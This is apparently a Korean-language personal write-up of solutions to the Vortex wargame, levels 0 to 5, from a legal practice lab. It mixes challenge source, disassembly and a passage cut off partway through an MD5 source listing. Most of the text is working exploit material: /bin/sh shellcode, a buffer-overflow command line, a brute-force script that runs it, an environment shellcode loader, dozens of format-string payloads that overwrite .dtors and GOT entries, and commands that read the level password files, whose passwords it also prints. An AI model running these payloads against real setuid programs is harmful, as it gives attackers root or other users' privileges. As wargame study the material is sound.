본문
예전에 공부하면서 대충 끄적였던 자료입니다.
BOF원정대를 먼저 풀고 이걸 봤어야했는데... 처음부터 이걸 먼저 푸는 바람에 삽질이 좀 많았다는...
vortex 는..문제도 문제지만.............디버깅 환경이 참 ㅈㄹ같다는..ㅎㅎㅎ
별 도움이 안될수도 있지만. 그래도 . 올림-..
사실은 백업용.ㅋㅋㅋㅋ
14번까지 꾸역꾸역 풀었네요...;-0-.15번은 md5 충돌문제였나..풀다가 포기한 기억이;;ㅠ
===========================================================================================
[+] Level 0
import socket
from struct import *
HOST = "vortex.labs.overthewire.org"
PORT = 5842
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lsum = 0
s.connect((HOST, PORT))
for ii in range(0,4):
rdata = s.recv(4)
print len(rdata)
unpackdata = unpack('I',rdata)
print unpackdata
lsum += int(unpackdata[0])
packdata = pack("I", lsum)
s.send(packdata)
print "Send Data "
rdata = s.recv(100)
print rdata
s.close()
# Username: vortex1 Password: Gq#qu3bF3
[+] Level 1
01 #include <stdlib.h>
02 #include <unistd.h>
03 #include <string.h>
04 #include <stdio.h>
05
06
07 #define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
08
09 void print(unsigned char *buf, int len)
10 {
11 int i;
12
13 printf("[ ");
14 for(i=0; i < len; i++) printf("%x ", buf[i]);
15 printf(" ]\n");
16 }
17
18 int main()
19 {
20 unsigned char buf[512];
21 unsigned char *ptr = buf + (sizeof(buf)/2);
22 unsigned int x;
23
24 while((x = getchar()) != EOF) {
25 switch(x) {
26 case '\n': print(buf, sizeof(buf)); continue; break;
27 case '\\': ptr--; break;
28 default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
29 }
30 }
31 printf("All done\n");
32 }
(gdb) disassemble main
Dump of assembler code for function main:
0x08048557 <+0>: push %ebp
0x08048558 <+1>: mov %esp,%ebp
0x0804855a <+3>: and $0xfffffff0,%esp
0x0804855d <+6>: push %esi
0x0804855e <+7>: push %ebx
0x0804855f <+8>: sub $0x228,%esp
0x08048565 <+14>: mov %gs:0x14,%eax
0x0804856b <+20>: mov %eax,0x21c(%esp)
0x08048572 <+27>: xor %eax,%eax
0x08048574 <+29>: lea 0x1c(%esp),%eax
0x08048578 <+33>: add $0x100,%eax
0x0804857d <+38>: mov %eax,0x18(%esp)
0x08048581 <+42>: jmp 0x8048625 <main+206>
0x08048586 <+47>: mov 0x14(%esp),%eax
0x0804858a <+51>: cmp $0xa,%eax
0x0804858d <+54>: je 0x8048596 <main+63>
0x0804858f <+56>: cmp $0x5c,%eax
0x08048592 <+59>: je 0x80485ac <main+85>
0x08048594 <+61>: jmp 0x80485b3 <main+92>
0x08048596 <+63>: movl $0x200,0x4(%esp)
0x0804859e <+71>: lea 0x1c(%esp),%eax
0x080485a2 <+75>: mov %eax,(%esp)
0x080485a5 <+78>: call 0x8048504 <print>
0x080485aa <+83>: jmp 0x8048625 <main+206>
0x080485ac <+85>: subl $0x1,0x18(%esp)
0x080485b1 <+90>: jmp 0x8048625 <main+206>
0x080485b3 <+92>: mov 0x18(%esp),%eax
0x080485b7 <+96>: and $0xff000000,%eax
0x080485bc <+101>: cmp $0xca000000,%eax
0x080485c1 <+106>: jne 0x8048602 <main+171>
0x080485c3 <+108>: call 0x8048440 <geteuid@plt>
0x080485c8 <+113>: mov %eax,%esi
0x080485ca <+115>: call 0x8048440 <geteuid@plt>
0x080485cf <+120>: mov %eax,%ebx
0x080485d1 <+122>: call 0x8048440 <geteuid@plt>
0x080485d6 <+127>: mov %esi,0x8(%esp)
0x080485da <+131>: mov %ebx,0x4(%esp)
0x080485de <+135>: mov %eax,(%esp)
0x080485e1 <+138>: call 0x80483f0 <setresuid@plt>
0x080485e6 <+143>: movl $0x0,0x8(%esp)
0x080485ee <+151>: movl $0x804873a,0x4(%esp)
0x080485f6 <+159>: movl $0x804873d,(%esp)
0x080485fd <+166>: call 0x8048400 <execlp@plt>
0x08048602 <+171>: lea 0x1c(%esp),%eax
0x08048606 <+175>: add $0x200,%eax
0x0804860b <+180>: cmp 0x18(%esp),%eax
0x0804860f <+184>: jb 0x8048624 <main+205>
0x08048611 <+186>: mov 0x14(%esp),%eax
0x08048615 <+190>: mov %eax,%edx
0x08048617 <+192>: mov 0x18(%esp),%eax
0x0804861b <+196>: mov %dl,(%eax)
0x0804861d <+198>: addl $0x1,0x18(%esp)
0x08048622 <+203>: jmp 0x8048625 <main+206>
0x08048624 <+205>: nop
0x08048625 <+206>: call 0x80483c0 <getchar@plt>
0x0804862a <+211>: mov %eax,0x14(%esp)
0x0804862e <+215>: cmpl $0xffffffff,0x14(%esp)
0x08048633 <+220>: jne 0x8048586 <main+47>
0x08048639 <+226>: movl $0x8048745,(%esp)
0x08048640 <+233>: call 0x8048430 <puts@plt>
0x08048645 <+238>: mov $0x0,%eax
0x0804864a <+243>: mov 0x21c(%esp),%edx
0x08048651 <+250>: xor %gs:0x14,%edx
0x08048658 <+257>: je 0x804865f <main+264>
0x0804865a <+259>: call 0x8048420 <__stack_chk_fail@plt>
0x0804865f <+264>: add $0x228,%esp
0x08048665 <+270>: pop %ebx
0x08048666 <+271>: pop %esi
0x08048667 <+272>: mov %ebp,%esp
0x08048669 <+274>: pop %ebp
0x0804866a <+275>: ret
End of assembler dump.
[4 x 0x!!000000][4 ptr][512 buf]
= esp - 0x14 0x18 0x1c ..... 256
256+4
512 / 2 = 256
asm code를 보면 esp를 552만큼 뺀다.
256+40
(perl -e '{print "\\"x257,"\xca"}';cat) | /vortex/vortex1
cat /etc/vortex_pass/vortex2
23anbT\rE
[+] Level 2
- id : vortex2
- Password : 23anbT\rE
tar 파일명에 $$가 들어가는데 이 문자열을 쉘에서 실행시키면 pid로 변환됨. 이를 변환되지 않도록 \$\$로 접근해서
tar xvfO 옵션을 사용하여 stdout에 파일의 내용을 출력한다.
[+] Level 3
- id : vortex3
- Password : 64ncXTvx#
objdump -h /vortex/vortex3
17 .dtors 00000008 0804953c 0804953c 0000053c 2**2
CONTENTS, ALLOC, LOAD, DATA
1 /*
2 * 0xbadc0ded.org Challenge #02 (2003-07-08)
3 *
4 * Joel Eriksson <je@0xbadc0ded.org>
5 */
6
7
8 #include <string.h>
9 #include <stdlib.h>
10 #include <stdio.h>
11
12 unsigned long val = 31337;
13 unsigned long *lp = &val;
14
15 int main(int argc, char **argv)
16 {
17 unsigned long **lpp = &lp, *tmp;
18 char buf[128];
19
20 if (argc != 2)
21 exit(1);
22
23 strcpy(buf, argv[1]);
24
25 if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
26 exit(2);
27
28 tmp = *lpp;
29 **lpp = (unsigned long) &buf;
30 *lpp = tmp;
31
32 exit(0);
33 }
(gdb) disassemble main
Dump of assembler code for function main:
0x080483d4 <+0>: push %ebp
0x080483d5 <+1>: mov %esp,%ebp
0x080483d7 <+3>: and $0xfffffff0,%esp
0x080483da <+6>: sub $0xa0,%esp
0x080483e0 <+12>: movl $0x804963c,0x9c(%esp)
0x080483eb <+23>: cmpl $0x2,0x8(%ebp)
0x080483ef <+27>: je 0x80483fd <main+41>
0x080483f1 <+29>: movl $0x1,(%esp)
0x080483f8 <+36>: call 0x8048304 <exit@plt>
0x080483fd <+41>: mov 0xc(%ebp),%eax
0x08048400 <+44>: add $0x4,%eax
0x08048403 <+47>: mov (%eax),%eax
0x08048405 <+49>: mov %eax,0x4(%esp)
0x08048409 <+53>: lea 0x18(%esp),%eax
0x0804840d <+57>: mov %eax,(%esp)
0x08048410 <+60>: call 0x80482f4 <strcpy@plt>
0x08048415 <+65>: mov 0x9c(%esp),%eax
0x0804841c <+72>: mov $0x0,%ax
0x08048420 <+76>: cmp $0x8040000,%eax
0x08048425 <+81>: je 0x8048433 <main+95>
0x08048427 <+83>: movl $0x2,(%esp)
0x0804842e <+90>: call 0x8048304 <exit@plt>
0x08048433 <+95>: mov 0x9c(%esp),%eax
0x0804843a <+102>: mov (%eax),%eax
0x0804843c <+104>: mov %eax,0x98(%esp)
0x08048443 <+111>: mov 0x9c(%esp),%eax
0x0804844a <+118>: mov (%eax),%eax
0x0804844c <+120>: lea 0x18(%esp),%edx
0x08048450 <+124>: mov %edx,(%eax)
0x08048452 <+126>: mov 0x9c(%esp),%eax
0x08048459 <+133>: mov 0x98(%esp),%edx
0x08048460 <+140>: mov %edx,(%eax)
0x08048462 <+142>: movl $0x0,(%esp)
0x08048469 <+149>: call 0x8048304 <exit@plt>
End of assembler dump.
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048114 08048114 00000114 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 08048148 08048148 00000148 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .gnu.hash 00000020 0804816c 0804816c 0000016c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynsym 00000060 0804818c 0804818c 0000018c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynstr 00000051 080481ec 080481ec 000001ec 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version 0000000c 0804823e 0804823e 0000023e 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version_r 00000020 0804824c 0804824c 0000024c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.dyn 00000008 0804826c 0804826c 0000026c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rel.plt 00000020 08048274 08048274 00000274 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .init 00000030 08048294 08048294 00000294 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .plt 00000050 080482c4 080482c4 000002c4 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .text 000001ec 08048320 08048320 00000320 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .fini 0000001c 0804850c 0804850c 0000050c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .rodata 00000008 08048528 08048528 00000528 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .eh_frame 00000004 08048530 08048530 00000530 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .ctors 00000008 08049534 08049534 00000534 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 00000008 0804953c 0804953c 0000053c 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .jcr 00000004 08049544 08049544 00000544 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .dynamic 000000c8 08049548 08049548 00000548 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got 00000004 08049610 08049610 00000610 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got.plt 0000001c 08049614 08049614 00000614 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000010 08049630 08049630 00000630 2**2
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000008 08049640 08049640 00000640 2**2
ALLOC
24 .comment 00000054 00000000 00000000 00000640 2**0
CONTENTS, READONLY
shellcode : "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh;"
16*3+6+8
48+14=62
/vortex/vortex3 `perl -e '{print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh;","A"x62, "\x40\x95\x04\x08", "A"x4, "\x8c\x92\x04\x08"}'`
31337 = 7A69 // 7A는 JP (Jump If Parity)의 OpCode인데 이를 활용할 수 있는 방법은 없을까?..
val의 address = 0x08049638
lp = 다음이겠지?-_-; 0x0804963C
argv = 0xffffd892
0xffffd98e
buf address = 0xffffd688
결국엔 bruteforce를 하기로 결정..;
인터넷을 찾아보니 예전에는 내가 원래 생각했던(dtors+4 값을 가리키는 주소를 찾아 lpp에 넣는 방법)으로 예전엔 풀었던 것 같다.
그런데, 최근에 이러한 방법들이 막히면서 문제가 변경된것 같다..
bruteforce로 돌리려고 python으로 스크립트를 짰는데 python을 잘 모르는 관계로-_-...
계속 삽질하다가 결국 인터넷에 있는 코드를 참조. ;; (파이썬 공부 해야겠다..;;)
다 짜고 보니 결국에 참조한건 %를 사용해서 대입하는 방법뿐이긴하네-_-;
#!/usr/bin/python
import os
import commands
import string
from subprocess import call
import subprocess
for i in range(1,256) :
for j in range(1,256) :
str = "`perl -e '{print \"\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh;\",\"A\"x62, \"\\x40\\x95\\x04\\x08\", \"A\"x4, \"\\x%02x\\x%02x\\x04\\x08\"}'`" % ( i, j)
print "Try Addreess : " + "\\x%02x\\x%02x" % (i, j)
os.system("/vortex/vortex3 " + str)
0101~ffff까지 돌리면 총 3개의 쉘이 뜬다.
\x06\x93
\x8c\x92
\xcc\x92
Try Addreess : \x8c\x92
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw
$
3개중 하나만 일단 보면. GOT를 바꿔서 쉘코드가 실행되도록 하는 방법이다.
흠...새로운걸 하나 배웠다...ㅋㅋ
(gdb) x/x 0x0804928c
0x804928c: 0x0804962c
(gdb) x/x 0x0804962c
0x804962c <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830a
(gdb)
결국엔 dtors를 변경하는게 아니라, GOT에서 exit를 변경?
vortex4@melissa:~$ objdump --dynamic-reloc /vortex/vortex3
/vortex/vortex3: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049610 R_386_GLOB_DAT __gmon_start__
08049620 R_386_JUMP_SLOT __gmon_start__
08049624 R_386_JUMP_SLOT __libc_start_main
08049628 R_386_JUMP_SLOT strcpy
0804962c R_386_JUMP_SLOT exit
0x08049306과 0x0804928c는 exit의 GOT를 변경하는 방법이고,
0x080492cc는 모르겠다;;
Reference :
* http://x82.inetcop.org/h0me/papers/FC_exploit/another_overwrite.txt
[+] Level 4
- id : vortex4
- Password: 2YmgK1=jw
1 // -- andrewg, original author was zen-parse :)
2 #include <stdlib.h>
3
4
5 int main(int argc, char **argv)
6 {
7 if(argc) exit(0);
8 printf(argv[3]);
9 exit(EXIT_FAILURE);
10 }
= loader =
#include <stdio.h>
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char *argv[])
{
char *envc[] = {NULL};
char *envp[4] = {"ABC",0,0, };
envp[1] =shellcode;
envp[2] =argv[1];
execve("/vortex/vortex4", envc, envp);
return 0;
}
Format String 취약점을 이용하는 문제이다. 거기에 플러스 argc를 속이는 방법까지 추가.
119번째 나온다;
17 .dtors 00000008 08049f1c 08049f1c 00000f1c 2**2
CONTENTS, ALLOC, LOAD, DATA
vortex4@melissa:/tmp$ ./hhcc
AAAA f7feed80 0804843b f7fd2ff4 08048430 00000000 ffffd708 f7e89e37 00000000 ffffd734
ffffd738 f7fdf420 ffffffff f7ffcff4 08048241 00000001 ffffd6f0 f7fedd61 f7ffdad0f7fd72e8
00000001 f7fd2ff4 00000000 00000000 ffffd708 639df0a3 4d0b28b3 00000000 00000000 00000000
00000000 08048340 00000000 f7ff3f70 f7e89d5b f7ffcff4 0000000008048340 00000000 08048361
080483f4 00000000 ffffd734 08048430 08048490 f7feed80 ffffd72c f7ffd918 00000000 00000000
ffffd818 ffffd81e ffffd824 ffffdfd0 ffffdfe600000000 00000020 f7fdf420 00000021 f7fdf000
00000010 17898175 00000006 00001000 00000011 00000064 00000003 08048034 00000004 00000020
00000005 00000008 00000007f7fe0000 00000008 00000000 00000009 08048340 0000000b 0000138c
0000000c 0000138d 0000000d 0000138c 0000000e 0000138c 00000017 00000001 00000019 ffffd7fb
0000001fffffdfe8 0000000f ffffd80b 00000000 00000000 00000000 00000000 68000000 686aa89c
2bae4e18 c4660c94 697bd8b6 00363836 00000000 00000000 43424130 41310044 0044434241414141
38302520 30252078 25207838 20783830 78383025 38302520 30252078 25207838 20783830 78383025
....
문자열 955.
0xffffe191
rip 0xf7eb7906
gcc hcegg.c -o hcegg -m32 -fno-stack-protector -Wl,-z,norelro
gcc hhcc.c -o hhcc -m32 -fno-stack-protector -Wl,-z,norelro
execstack filename -> stack에서 실행가능하도록..
./hhcc `perl -e '{print "AAAABBBB", "%08x"x105}'`
./hhcc "`perl -e '{print "AAAA\x20\x9f\x04\x08BBBB\x22\x9f\x04\x08", "%08x"x101,"%100u%hn%100u%hn"}'`"
./hhcc "`perl -e '{print "AAAA\x20\x9f\x04\x08BBBB\x22\x9f\x04\x0811", "%08x"x102,"%100u%hx%100u%hx"}'`"
./hhcc "`perl -e '{print "AAAA\x20\x9f\x04\x08BBBB\x22\x9f\x04\x0812", "%08x "x101," "x4,"%100u%hn%100u%hn}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x1,"%52214u%hn%12393u%hn"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x2,"%52214u%0x%12393u%0x"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x22,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x18,"%52214u%x%12393u%x"}'`"
./hhcc "`perl -e '{print "x91\xe1\xff\xff\x91\xe1\xff\xffBBBB\x20\x9f\x04\x0812", "%08x "x101," "x18,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x0c\xa0\x04\x08BBBB\x0e\xa0\x04\x08AA", "%08x "x119," "x111,"%55412u%hn"," "x0,"%10123u%hn"}'`"
./hhcc "`perl -e '{print "AAAACCCCBBBBDDDDAA", "%08x "x119," "x111,"%55573u%0x"," "x0,"%9962u%0x"}'`"
> /dev/null
./hhcc "`perl -e '{print "AAAA\x20\x9f\x04\x08BBBB\x22\x9f\x04\x08AA", "%08x "x101," "x112,"%52104u%hn"," "x87,"%13351u%hn"}'`"
0xffffdd24
119*9 1071
0xffffcf97
Addr = 0xffffcf96
cf96 = 53142 - 18 - 9*101 - 18 = 52124
ffff = 65535 - 53142 = 13411
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x12,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x13,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x14,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x15,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x16,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x17,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x18,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x19,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x20,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x21,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x22,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x23,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x24,"%52214c%n%12393u%n"}'`"
./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x25,"%52214c%n%12393u%n"}'`"
./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x26,"%52214c%x%12393c%x"}'`"
./loader "`perl -e '{print "\x22\x9f\x04\x08\x20\x9f\x04\x08", "%08x "x201," "x10}'`"
./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%52214x%0x%12393x%0x", " "x7}'`"
./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%55048x%hn%10487x%hn", " "x7}'`"
./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%055048x%n%010487x%n", " "x7}'`"
./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%000008x%n%000008x%n", " "x7}'`"
./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%55048x%hn%10487x%hn", " "x7}'`"
0xffffdb00
./loader "`perl -e '{print "AAAA\x0e\xa0\x04\x08BBBB\x0c\xa0\x04\x08", "%08x "x200,"%55048u%hn%19958u%hn", " "x7}'`"
eax 0x12c1d 76829
eip 0xde202c16 0xde202c16
==>> 성공!!
./loader "`perl -e '{print "AAAA\x0e\xa0\x04\x08BBBB\x0c\xa0\x04\x08", "%08x "x200,"%63719u%hn%56058u%hn", " "x7}'`"
eax 0x1532d 86829
eip 0x5305326 0x5305326
16 + 5*200
vortex4@melissa:/tmp/hclee$ objdump --dynamic-reloc /vortex/vortex4
/vortex/vortex4: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT __gmon_start__
0804a004 R_386_JUMP_SLOT __libc_start_main
0804a008 R_386_JUMP_SLOT printf
0804a00c R_386_JUMP_SLOT exit
[+] Level 5
- id : vortex5
- Password: :4VtbC4lr
MD5 Brute Force
A password is required for the next level. vortex5.c and md5.h. a-z,A-Z,0-9 is the search space. The password length is 5 chars long, it was originally 7 chars long.
Collision(s) tested : 489265082 in 217 second(s), 361 millisec, 101 microsec.
Average of 2250932.1 hashes/sec.
Code listing (vortex5.c)
1 /* A tribute to arc :) */
2
3
4 /*
5 ** SQLite uses this code for testing only. It is not a part of
6 ** the SQLite library. This file implements two new TCL commands
7 ** "md5" and "md5file" that compute md5 checksums on arbitrary text
8 ** and on complete files. These commands are used by the "testfixture"
9 ** program to help verify the correct operation of the SQLite library.
10 **
11 ** The original use of these TCL commands was to test the ROLLBACK
12 ** feature of SQLite. First compute the MD5-checksum of the database.
13 ** Then make some changes but rollback the changes rather than commit
14 ** them. Compute a second MD5-checksum of the file and verify that the
15 ** two checksums are the same. Such is the original use of this code.
16 ** New uses may have been added since this comment was written.
17 */
18 /*
19 * This code implements the MD5 message-digest algorithm.
20 * The algorithm is due to Ron Rivest. This code was
21 * written by Colin Plumb in 1993, no copyright is claimed.
22 * This code is in the public domain; do with it what you wish.
23 *
24 * Equivalent code is available from RSA Data Security, Inc.
25 * This code has been tested against that, and is equivalent,
26 * except that you don't need to include two pages of legalese
27 * with every copy.
28 *
29 * To compute the message digest of a chunk of bytes, declare an
30 * MD5Context structure, pass it to MD5Init, call MD5Update as
31 * needed on buffers full of bytes, and then call MD5Final, which
32 * will fill a supplied 16-byte array with the digest.
33 */
34
35 /*
36 * If compiled on a machine that doesn't have a 32-bit integer,
37 * you just set "uint32" to the appropriate datatype for an
38 * unsigned 32-bit integer. For example:
39 *
40 * cc -Duint32='unsigned long' md5.c
41 *
42 */
43 #ifndef uint32
44 # define uint32 unsigned int
45 #endif
46
47 struct Context {
48 uint32 buf[4];
49 uint32 bits[2];
50 unsigned char in[64];
51 };
52 typedef char MD5Context[88];
53
54 /*
55 * Note: this code is harmless on little-endian machines.
56 */
57 static void byteReverse (unsigned char *buf, unsigned longs){
58 uint32 t;
59 do {
60 t = (uint32)((unsigned)buf[3]<<8 | buf[2]) << 16 |
61 ((unsigned)buf[1]<<8 | buf[0]);
62 *(uint32 *)buf = t;
63 buf += 4;
64 } while (--longs);
65 }
66 /* The four core functions - F1 is optimized somewhat */
67
68 /* #define F1(x, y, z) (x & y | ~x & z) */
69 #define F1(x, y, z) (z ^ (x & (y ^ z)))
70 #define F2(x, y, z) F1(z, x, y)
71 #define F3(x, y, z) (x ^ y ^ z)
72 #define F4(x, y, z) (y ^ (x | ~z))
73
74 /* This is the central step in the MD5 algorithm. */
75 #define MD5STEP(f, w, x, y, z, data, s) \
76 ( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x )
77
78 /*
79 * The core of the MD5 algorithm, this alters an existing MD5 hash to
80 * reflect the addition of 16 longwords of new data. MD5Update blocks
81 * the data and converts bytes into longwords for this routine.
82 */
83 static void MD5Transform(uint32 buf[4], const uint32 in[16]){
84 register uint32 a, b, c, d;
85
86 a = buf[0];
87 b = buf[1];
88 c = buf[2];
89 d = buf[3];
90
91 MD5STEP(F1, a, b, c, d, in[ 0]+0xd76aa478, 7);
92 MD5STEP(F1, d, a, b, c, in[ 1]+0xe8c7b756, 12);
93 MD5STEP(F1, c, d, a, b, in[ 2]+0x242070db, 17);
94 MD5STEP(F1, b, c, d, a, in[ 3]+0xc1bdceee, 22);
95 MD5STEP(F1, a, b, c, d, in[ 4]+0xf57c0faf, 7);
